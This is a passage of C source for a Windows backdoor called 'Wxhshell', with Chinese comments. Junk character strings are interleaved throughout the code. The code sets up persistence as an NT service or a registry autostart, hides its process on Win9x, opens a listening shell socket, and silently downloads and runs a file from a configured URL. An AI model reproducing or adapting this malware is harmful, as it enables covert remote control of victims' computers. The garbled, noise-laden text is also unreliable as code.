&hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wJip{ {{j?3O // CloseHandle(hProcess); Wcbb3N$+ +PjH2 if(strstr(procName,"services")) return 1; // 以服务启动 vV8}> 99vm7"5 hQ return 0; // 注册表启动 !9B)/Xi } `zF=h#i k \|Hd"T // 主模块 ~)ls.NXI int StartWxhshell(LPSTR lpCmdLine) Pn0V{SJOJ% { B+ +:7! SOCKET wsl; .Gw;]s3 BOOL val=TRUE; 't]=ps int port=0; ,JX/`7y struct sockaddr_in door; ygh*oVHO +v/_R{ M if(wscfg.ws_autoins) Install(); 9 u{#S}c` ~!\n port=atoi(lpCmdLine); |nIm$ p' 7i`8 c =. if(port<=0) port=wscfg.ws_port; :`25@<*u -W2 !_ WSADATA data; L]cZPfI6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L"9,K8 vk&C'&uV9@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qlO(z5Ak setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z8Qmj5'[ door.sin_family = AF_INET; Ry8@U9B6,t door.sin_addr.s_addr = inet_addr("127.0.0.1"); l:%4@t` door.sin_port = htons(port); 4$C:r&K __OD^?qa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WOiw 0 closesocket(wsl); 1jpcoJ@s return 1; D3N\$ D } -:&qNY:Vp ;vnG if(listen(wsl,2) == INVALID_SOCKET) { \^i/: closesocket(wsl); C[gy{40} return 1; CNQ>J`4 } yc?+L;fN Wxhshell(wsl); C[z5&
x2 WSACleanup(); t[|^[%i q3n(Z return 0; Hn+w1v&3 rfku]A$ } ?*){%eE dX?8@uzu // 以NT服务方式启动 N;Wm{~Zhb VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8wMu^3r { &N.D!7X DWORD status = 0; eJlTCXeZ| DWORD specificError = 0xfffffff; 3!ZndWSHV :=3Ty]e serviceStatus.dwServiceType = SERVICE_WIN32; }j;*7x8( serviceStatus.dwCurrentState = SERVICE_START_PENDING; *DcJ). serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i{vM NI{ serviceStatus.dwWin32ExitCode = 0; .-Yhpw>f serviceStatus.dwServiceSpecificExitCode = 0; Ksr.' serviceStatus.dwCheckPoint = 0; ;rC)*=4# serviceStatus.dwWaitHint = 0; NBU[> P \$Lr L hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E]/` JI'% if (hServiceStatusHandle==0) return; &==X.2XW hE@s~~JYd status = GetLastError(); $)8b)Tb if (status!=NO_ERROR) gTa6%GM> { Y%m^V?k serviceStatus.dwCurrentState = SERVICE_STOPPED; KF(N=?KO serviceStatus.dwCheckPoint = 0; FwKT_XkY serviceStatus.dwWaitHint = 0; {N!Xp:(<7_ serviceStatus.dwWin32ExitCode = status; e:#c\Ay+ serviceStatus.dwServiceSpecificExitCode = specificError; D',[M) SetServiceStatus(hServiceStatusHandle, &serviceStatus); s~V%eq("} return; 9M8n } _\uyS', /i.3v45t" serviceStatus.dwCurrentState = SERVICE_RUNNING; ~;>
psNy serviceStatus.dwCheckPoint = 0; 6HeZ<.d& serviceStatus.dwWaitHint = 0; m_
>+$uL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '@t}8J } K)"lq5nM 0<(F
8 // 处理NT服务事件,比如:启动、停止
p}I,!~}
VOID WINAPI NTServiceHandler(DWORD fdwControl) d)d\h`=Z { {kVhht]X switch(fdwControl) S &N[@G { VjsQy>5m case SERVICE_CONTROL_STOP: U(*k:Fw serviceStatus.dwWin32ExitCode = 0; x=]PE}<E serviceStatus.dwCurrentState = SERVICE_STOPPED; 2?J[D7 serviceStatus.dwCheckPoint = 0; T-S6`^_L serviceStatus.dwWaitHint = 0; 2GkJ7cL { C^2J< SetServiceStatus(hServiceStatusHandle, &serviceStatus); (nL''#Ka } NFxs4:]
RT return; z86[_l: case SERVICE_CONTROL_PAUSE: :jo
!Yi serviceStatus.dwCurrentState = SERVICE_PAUSED; 9OI&De5?=V break; b8o}bm{s case SERVICE_CONTROL_CONTINUE: /1OzX'5f serviceStatus.dwCurrentState = SERVICE_RUNNING; 8y:c3jzP_ break; 33/aYy case SERVICE_CONTROL_INTERROGATE: g<d#zzP"T break; A|Z'\D0 }; o$disJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); CI%4!K;{ } uv>T8(w Vm+e% // 标准应用程序主函数 vQK*:IRKK int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X=_`$
0 { H! IL5@@K (4ueO~jb$ // 获取操作系统版本 yhwwF
n\ OsIsNt=GetOsVer(); >d1gVBhk GetModuleFileName(NULL,ExeFile,MAX_PATH); VEUdw(-?s 4Og&w] // 从命令行安装 )3 C~kmN7 if(strpbrk(lpCmdLine,"iI")) Install(); (rDB|kc^7 T;{M9W+ // 下载执行文件 c^Y&4=>T if(wscfg.ws_downexe) { wlvh DJ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e[`u: WinExec(wscfg.ws_filenam,SW_HIDE); Qqju6} + } P01o: /} {-FS+D` if(!OsIsNt) { ^dc~hD // 如果时win9x,隐藏进程并且设置为注册表启动 !w+A3Z>V HideProc(); Pi^5LI6JW StartWxhshell(lpCmdLine); ^#:F8D } SY: gr else YS7R8| if(StartFromService()) IG}`~% Z // 以服务方式启动 iobL6SUZ StartServiceCtrlDispatcher(DispatchTable); 5 *w
a else #a :W // 普通方式启动 Nhq&Sn2 StartWxhshell(lpCmdLine); gA`x-` N^u,C$zP9C return 0; dM|&Y6 }
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